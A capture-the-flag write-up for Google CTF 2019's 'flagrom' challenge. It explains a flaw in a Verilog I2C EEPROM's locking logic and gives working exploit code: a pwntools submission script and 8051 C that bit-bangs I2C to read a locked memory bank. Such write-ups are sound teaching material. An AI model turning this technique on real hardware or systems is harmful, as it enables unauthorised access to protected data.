Trickery Index

Google CTF 2019 Quals - flagrom writeup

Posted at — Jun 30, 2019

This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.

nc flagrom.ctfcompetition.com 1337

This time, we’re provided with an archive containing an ELF binary running on the server, some 8051 firmware, its source (thankfully) and a System Verilog file implementing the “secure” EEPROM employed in the challenge.

Glancing over the server binary in GHIDRA, we can see that the process is straightforward enough:

main() decompiled

The binary checks the proof of work (the usual md5 bruteforce stuff), then accepts some user input interpreting it as 8051 machine code and initializes the virtual EEPROM. The flag gets loaded over the firmware, and the firmware is executed on an 8051 emulator to write it into the EEPROM; after that, the flag is deleted from memory, and the emulator is restarted to run the provided code.

The firmware itself also doesn’t do anything difficult, basically writing the flag into the EEPROM, doing secure_banks() which apparently locks down the appropriate 64-byte chunk of memory in it preventing read access, then clearing the flag, writing “Hello there” into another (preceding) 64-byte EEPROM bank and “powering off”:

void main(void) {
  write_flag();
  secure_banks();
  remove_flag();
  write_welcome();
  POWEROFF = 1;
}

So, it looks like we’ll have to find some bugs in the Verilog EEPROM code and also learn to program 8051 along the way. Let’s start with the latter to make the job easier, and for starters let’s recompile the provided firmware with just some print("Hey there!\n") in the main function.

Googling “8051 compiler” brings us to Small Device C Compiler; let’s try that on the firmware.c:

$ sdcc firmware.c
$ ls

firmware.asm  firmware.c  firmware.ihx  firmware.lk  firmware.lst  firmware.map  firmware.mem  firmware.rel  firmware.rst  firmware.sym

Doing a bit more research (“sdcc convert to binary”) shows that we can do the rest with objcopy:

$ objcopy -Iihex -Obinary firmware.ihx out.bin

And now let’s try to actually pass the result to the server, proof of work and all:

import hashlib
import string
import itertools
import sys
from pwn import *

def proof(prefix):
    for i in range(5):
        for c in itertools.product(string.printable, repeat=i):
            if hashlib.md5("flagrom-" + "".join(c)).hexdigest().startswith(prefix):
                return "flagrom-"+"".join(c)

s = remote("flagrom.ctfcompetition.com", 1337)
prefix = s.recvuntil("?")[-7:-1]
s.send(proof(prefix)+"\n")

data = open("out.bin", "rb").read()

print s.recvuntil("payload?")
s.send(str(len(data))+"\n")     # send the binary size
s.send(data)                    # send the binary itself
s.interactive()                 # look at the output

See Hey there! in the output? Time for the actual puzzle then!

Let’s stare at the Verilog code for a bit. After some reading up on I2C, it becomes clear that it implements its slave interface as a state machine (one of which the old man has previously ran into), but some of it looks pretty fishy. First, the most interesting part is how the memory becomes locked:

147           `I2C_CONTROL_SECURE: begin
148             mem_secure <= mem_secure | i2c_control_bank;
149             i2c_state <= I2C_ACK;

There’s no other code that would change mem_secure, so once locked, the bank will stay locked until the end of time. Still, there should be the way around it in this case, right? Rummaging through the code, we find that the mem_secure bits are alternatively accessed through i2c_address_secure and i2c_next_address_secure:

51 wire i2c_address_secure = mem_secure[i2c_address / 64];
52 wire i2c_next_address_secure = mem_secure[(i2c_address + 1) / 64];

These are checked in three places: I2C_LOAD_ADDRESS, I2C_WRITE and I2C_READ states, but actually only I2C_LOAD_ADDRESS directly looks into the bits, the other two just matching the current address’ lock status with that of the next one:

161     I2C_LOAD_ADDRESS: begin
162       `DEBUG_DISPLAY(("i2c_address = %b", i2c_address));
163       `DEBUG_DISPLAY(("i2c_address_bits = %d", i2c_address_bits));
164       if (i2c_address_bits == 8) begin
165         if (i2c_address_secure) begin
166           i2c_address_valid <= 0;
167           i2c_state <= I2C_NACK;
168         end else begin
169           i2c_data_bits <= 0;
170           i2c_address_valid <= 1;
171           i2c_state <= I2C_ACK_THEN_WRITE;
172         end
173       end else if (i2c_scl_state == I2C_SCL_RISING) begin
174         i2c_address <= {i2c_address[6:0], i_i2c_sda};
175         i2c_address_bits <= i2c_address_bits + 1;
176       end
177     end
178     I2C_WRITE: begin
179       `DEBUG_DISPLAY(("i2c_data_ = %b", i2c_data));
180       `DEBUG_DISPLAY(("i2c_data_bits = %d", i2c_data_bits));
181       if (i2c_data_bits == 8) begin
182         i2c_data_bits <= 0;
183         if (i2c_address_secure == i2c_next_address_secure) begin
184           `DEBUG_DISPLAY(("WRITE: i2c_address = 0x%x, i2c_data = 0x%x", i2c_address, i2c_data));
185           mem_storage[i2c_address] <= i2c_data;
186           i2c_address <= i2c_address + 1;
187           i2c_state <= I2C_ACK_THEN_WRITE;
188         end else begin
189           i2c_state <= I2C_NACK;
190         end
191       end else if (i2c_scl_state == I2C_SCL_RISING) begin
192         i2c_data <= {i2c_data[6:0], i_i2c_sda};
193         i2c_data_bits <= i2c_data_bits + 1;
194       end
195     end
196     I2C_READ: begin
197       `DEBUG_DISPLAY(("i2c_data_bits = %d", i2c_data_bits));
198       if (i2c_data_bits == 8 && i2c_scl_state == I2C_SCL_RISING) begin
199         i2c_data_bits <= 0;
200         if (i2c_address_secure == i2c_next_address_secure) begin
201           `DEBUG_DISPLAY(("READ: i2c_address = 0x%x", i2c_address));
202           i2c_address <= i2c_address + 1;
203           i2c_state <= I2C_ACK_THEN_READ;
204         end else begin
205           i2c_state <= I2C_NACK;
206		end

Not only that, but we also can see that reading seems to be passing the data out before any check is even done. There’s no immediately obvious way to use that though, as reaching the I2C_READ state would require going through I2C_CONTROL_EEPROM that first checks the i2c_address_valid:

134           `I2C_CONTROL_EEPROM: begin
135             if (i2c_control_rw) begin
136               if (i2c_address_valid) begin
137                 i2c_data_bits <= 0;
138                 i2c_state <= I2C_ACK_THEN_READ;
139               end else begin
140                 i2c_state <= I2C_NACK;
141               end

But wait, i2c_address_valid? What’s that? Definitely not quite the same as i2c_address_secure! We’ve seen it previously set with I2C_LOAD_ADDRESS in fact; that would mean that setting it to 1 with an unlocked address would then allow us to continuosly read the memory as long as the locked state of the next address matches the current one. So if we manage to load the address preceding the 64-byte bank containing the flag (which is conveniently possible, as the flag is put in the second bank following the welcome message), then lock the correspondent (first) bank - as locking doesn’t touch the i2c_address_valid - and then read past its 64-byte border, we will actually get the flag out!

Skimming through firmware.c, it doesn’t look like the I2C-M module emulated along with the 8051 chip could allow for that though, as it seems to always load the address directly before reading (or writing), thus setting i2c_address_valid appropriately before every actual access. Also, checking with the I2C tutorial again, we see that every frame is supposed to be finished with the master directing the slave to the I2C_STOP state, and if we look at the Verilog again we’ll see it resetting i2c_address_valid:

220   if (i2c_stop) begin
221     i2c_address_valid <= 0;
222     i2c_state <= I2C_IDLE;
223   end else if (i2c_start) begin
224     i2c_state <= I2C_START;
225   end

…now wait a minute. This is weird!

Scrolling back and forth through the EEPROM code, we can see clearly now that nothing actually prevents us from never ever setting the state to I2C_STOP, and we could just pull the wires to go to I2C_START any time we need to go back to the beginning:

 93 always_comb begin
 94   if (i2c_scl_state == I2C_SCL_STABLE_HIGH) begin
 95     i2c_start = i2c_last_sda && !i_i2c_sda;
 96     i2c_stop = !i2c_last_sda && i_i2c_sda;
 97   end else begin
 98     i2c_start = 0;
 99     i2c_stop = 0;
100   end
101 end

But the I2C module still won’t work that way right?.. Well, look what else is mentioned in the firmware.c and never used for some reason:

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

From the docs, it follows that the master is in full control of the SCL/clock line, just sending or receiving the bits over SDA/data line when appropriate. So can we bypass the module maybe, directly bit-banging our broken I2C on the SDA/SCL lines?

Sure we can!

Looking back to the tutorial for reference (or to the functions of the decompiled binary for that matter), we first construct a function that would teleport us back to I2C_START from anywhere, guaranteed:

void i2c_start() {
	RAW_I2C_SCL = 0;
	RAW_I2C_SDA = 1;
	RAW_I2C_SCL = 1;
	RAW_I2C_SDA = 0;
}

Now let’s see how the levers should be pulled to exchange some bits. It turns out to be pretty easy actually:

void send_bit(char bit) {
	RAW_I2C_SCL = 0;
	RAW_I2C_SDA = bit;
	RAW_I2C_SCL = 1;
}

char recv_bit() {
	char out;
	RAW_I2C_SCL = 0;
	out = RAW_I2C_SDA;
	RAW_I2C_SCL = 1;

	return out;
}

And now, back to our insidious plan:

void solve() {
	unsigned char i;	
	unsigned char j;	

	// set address to 63 (the last byte before the flag) 
	// via I2C_LOAD_ADDRESS
	
	i2c_start();

	// 1010 0000 - go to I2C_LOAD_ADDRESS

	send_bit(1); send_bit(0); send_bit(1); send_bit(0);
	send_bit(0); send_bit(0); send_bit(0); send_bit(0);

	CHAROUT = 0x30 + recv_bit(); // confirm the ACK from the EEPROM (should show 0) 
	print("\n");

	// 0011 1111 - decimal 63
	
	send_bit(0); send_bit(0); send_bit(1); send_bit(1);
	send_bit(1); send_bit(1); send_bit(1); send_bit(1);
	
	CHAROUT = 0x30 + recv_bit();
	print("\n");

	// REWIND!
	
	i2c_start();

	// 0101 1111 lock the memory. ALL the memory!
	
	send_bit(0); send_bit(1); send_bit(0); send_bit(1);
	send_bit(1); send_bit(1); send_bit(1); send_bit(1);

	CHAROUT = 0x30 + recv_bit(); // confirm the ACK, memory locked!
	print("\n");

	// read ahead into the flag bank!

	for (i = 0; i < 64; i++) {
		i2c_start();
	
		// 1010 0001 - go to I2C_READ

		send_bit(1); send_bit(0); send_bit(1); send_bit(0);
		send_bit(0); send_bit(0); send_bit(0); send_bit(1);
		
		recv_bit(); // ACK

		// print out the ones and zeroes

		for (j = 0; j < 8; j++) {
			CHAROUT = 0x30 + recv_bit();
		}
		print(" ");

		recv_bit(); // ACK
	
		// now the i2c_address in EEPROM is incremented and we can go for the next byte		
	}
}

void main(void) {
	solve();
}

Compile the binary, send it with solve.py, and we get

00000000 01000011 01010100 01000110 01111011 01100110 01101100 01100001 01100111 01110010 01101111 01101101 00101101 01100001 01101110 01100100 00101101 01101111 01101110 00101101 01100001 01101110 01100100 00101101 01101111 01101110 01111101 00000000 00000000 00000000 00000000 ...

Convert it into ASCII and…

CTF{flagrom-and-on-and-on}

FLAG GET!

Time for the blooper reel! Not everything went as smooth in the actual process of solving this task. One particularly unfortunate accident had been that for some unimaginable now debugging reasons (checking if the lines work right?) I managed to put a busy loop delay into the recv_bit routine, running out of the emulation cycles before even getting to the middle of the flag and leading to many a curse and much subsequent grinding of teeth and tearing of hair. But all’s well what ends well right? My teeth (and hair) still seem to be mostly intact, I think